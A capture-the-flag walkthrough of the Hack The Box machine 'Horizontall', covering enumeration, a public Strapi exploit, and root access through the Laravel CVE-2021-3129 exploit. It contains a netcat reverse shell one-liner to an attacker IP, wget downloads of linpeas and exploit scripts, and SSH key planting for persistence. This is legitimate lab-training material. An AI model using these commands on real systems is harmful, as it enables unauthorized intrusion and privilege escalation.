Box: Horizontall

Platform: Hack The Box
OS: Linux
Platform Difficulty: Easy
User Difficulty: 3.9
My Difficulty Rating: User 3 / Root 5
Summary (Spoilers)
The box primarily targets CVE exploits.
To identify the initial attack vector, one must either analyze the website’s source code or conduct extensive subdomain enumeration. Once the attack vector is identified, finding and executing the exploit is relatively straightforward.
Privilege escalation requires a deeper analysis of Linpeas results. Identifying a port with Laravel, we need to forward this port and use another exploit to gain root access.
Enumeration
Our initial Nmap scan reveals two open TCP ports:
sudo nmap -p- -Pn 10.10.11.105
Explanation:
-p-
scans all 65535 ports,-Pn
skips host discovery.

The detailed scan shows OpenSSH on port 22 and HTTP on port 80, with no surprises:
sudo nmap -p22,80 -A -Pn 10.10.11.105
Explanation:
-p22,80
specifies scanning ports 22 and 80,-A
enables OS detection, version detection, script scanning, and traceroute,-Pn
skips host discovery.

With limited attack vectors for SSH, we focus on HTTP.
Port 80 – HTTP – Website
Accessing the website via Firefox redirects us to horizontall.htb. We need to add this host to our /etc/hosts file:
sudo nano /etc/hosts
Explanation: This command opens the ‘nano’ editor to modify the hosts file.

The website appears standard. A quick test shows inactive links and a non-functional contact form.

The website’s source code is obfuscated into one line. We can use a beautifier to reformat it:

Two obfuscated JavaScript files are found in the source code. Deobfuscating app.c68eb462.js
reveals a subdomain link.

Before exploring the subdomain, we further enumerate the host, focusing on subdomains using Ffuf:
ffuf -w /usr/share/wordlists/seclists/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u http://horizontall.htb/ -H 'Host: FUZZ.horizontall.htb' -fs 194 -ic
Explanation:
-w
specifies the wordlist to use,-u
sets the URL where FUZZ keyword is replaced with entries from the wordlist,-H
adds a custom header,-fs 194
filters out responses of size 194 bytes,-ic
ignores case.

No significant findings: www
redirects to the original site, and api-prod
was already discovered.
Foothold/User
We add the subdomain to our /etc/hosts file:
sudo nano /etc/hosts
Explanation: Opens ‘nano’ to edit the hosts file.

Accessing the subdomain, we see a simple “Welcome.” message.

We then search for directories within this subdomain:
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt:FUZZ -u http://api-prod.horizontall.htb/FUZZ -ic
Explanation:
-w
specifies the wordlist,-u
sets the URL with FUZZ keyword,-ic
ignores case.

Discovering directories, we get redirected to a login page when we access/admin
:
http://api-prod.horizontall.htb/admin/auth/login

We identify Strapi CMS on the website. Further research allows us to determine the Strapi version:
http://api-prod.horizontall.htb/admin/strapiVersion

Now we can either use searchsploit
to find an exploit or start a Google search. Using Google, we find a Strapi 3.0.0 exploit:
We download and execute the exploit:
python3 exploit.py http://api-prod.horizontall.htb/
Explanation: This command executes a Python script to exploit the Strapi CMS vulnerability.

Achieving a stable reverse shell, we start a netcat listener on our attack host (nc -lnvp 4444
). After experimenting with payloads from revshells.com, we find a working reverse shell payload and execute it.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.10 4444 >/tmp/f
Then we stabilize our shell for a fully interactive terminal using a series of commands (python3 -c 'import pty;pty.spawn("/bin/bash")'
, CTRL + Z
, stty raw -echo; fg
, export TERM=xterm
, then pressing ENTER
).
Finally, we locate the user-flag under /home/developer.

Privilege Escalation
We upload linpeas.sh
to find privilege escalation vectors:
python3 -m http.server 80
Explanation: Starts a simple HTTP server on port 80 using Python.
wget http://10.10.16.10:80/linpeas.sh
Explanation: Downloads the ‘linpeas.sh’ script from the Python HTTP server to the victim machine.

We make the file executable with chmod +x linpeas.sh
and execute it with ./linpeas.sh
.
Executing linpeas.sh
, we discover developer credentials:

However, these credentials don’t provide SSH access and we don’t find any other way to make use of them.
When we refocus on our linpeas results, we realize that the internal port 8000 is open.

curl localhost:8000
Explanation: Uses ‘curl’ to request data from localhost on port 8000, typically to check the response or service running.

Google search reveals exploits for the Laravel version. We identify CVE-2021-3129 and decide to use a relevant exploit:
GitHub – nth347/CVE-2021-3129_exploit: Exploit for CVE-2021-3129
Because Laravel is only accessible locally, we need to either execute the payload on our victim machine or forward the open port to our attack box. Let’s try the first option:
We start a simple HTTP server on the attack box:
python3 -m http.server 80
Explanation: This command starts a Python HTTP server on port 80, which can be used to serve files.
On the victim machine, we download the exploit:
wget http://10.10.16.10:80/exploit.py
Explanation: This command uses wget to download the exploit script from the attack box’s HTTP server.

When we execute the exploit, it searches for PHPGGC on the system. Since PHPGGC is not installed, it tries to clone it from Github, resulting in the exploit’s failure.

Therefore, we need to forward port 8000 to our attack machine. One way to do this is via SSH forwarding. We cannot access the ssh key of the user developer in /home/developer/.ssh
, so we find an alternative. The home folder of the user strapi is /opt/strapi
, as indicated in the /etc/passwd
file. Since we have write access to this folder, we can place our ssh-key there.
First, we create a new key pair with an empty password:
ssh-keygen
Explanation: This command generates a new SSH key pair. An empty password is set for ease of use in this context.

On our victim machine, we create a new .ssh folder in the home directory:
mkdir /opt/strapi/.ssh
Explanation: Creates a new directory named
.ssh
in the/opt/strapi
directory, which will store SSH configuration files.
We then upload the public key (id_rsa.pub), renamed to authorized_keys
, to this new directory:
wget http://10.10.16.10/authorized_keys
Explanation: Downloads the renamed public key to the
.ssh
directory, allowing SSH access using the corresponding private key.
We also need to restrict the permissions for our private key id_rsa
, as the SSH protocol requires it:
chmod 600 id_rsa
Explanation: Sets the permission of the private key file to be readable and writable only by the file owner, which is required for SSH security.
Now we can connect to the victim machine via SSH:
ssh strapi@horizontall.htb -i id_rsa
Explanation: This command establishes an SSH connection to the victim machine using the
strapi
user and the generated private key.
More importantly, we can now forward port 8000 from the victim machine to our attack box:
ssh -L 8000:localhost:8000 strapi@horizontall.htb -i id_rsa
Explanation: Sets up an SSH tunnel that forwards the local port 8000 to port 8000 on the victim machine, allowing local access to services running on that port.
We can now access port 8000 on our attack box via the browser. When we do this, we can see that the port forwarding was successful:
http://localhost:8000

Now we can execute the exploit on our attack box against the local port 8000:

The exploit executes successfully. We now have access to the /root/root.txt
flag:
python3 exploit.py http://localhost:8000 Monolog/RCE1 "cat /root/root.txt"
Explanation: Executes the exploit script against the locally forwarded port to run a command (
cat /root/root.txt
) on the target machine, thereby accessing the root flag.
Final Thoughts
Horizontall was an enjoyable box to engage with. It heavily focuses on CVE exploits, which is somewhat unique on Hack The Box, but common on Proving Grounds boxes. The process involved minimal guessing, and the difficulty rating seems accurate.
Featured Image: DALL-E 3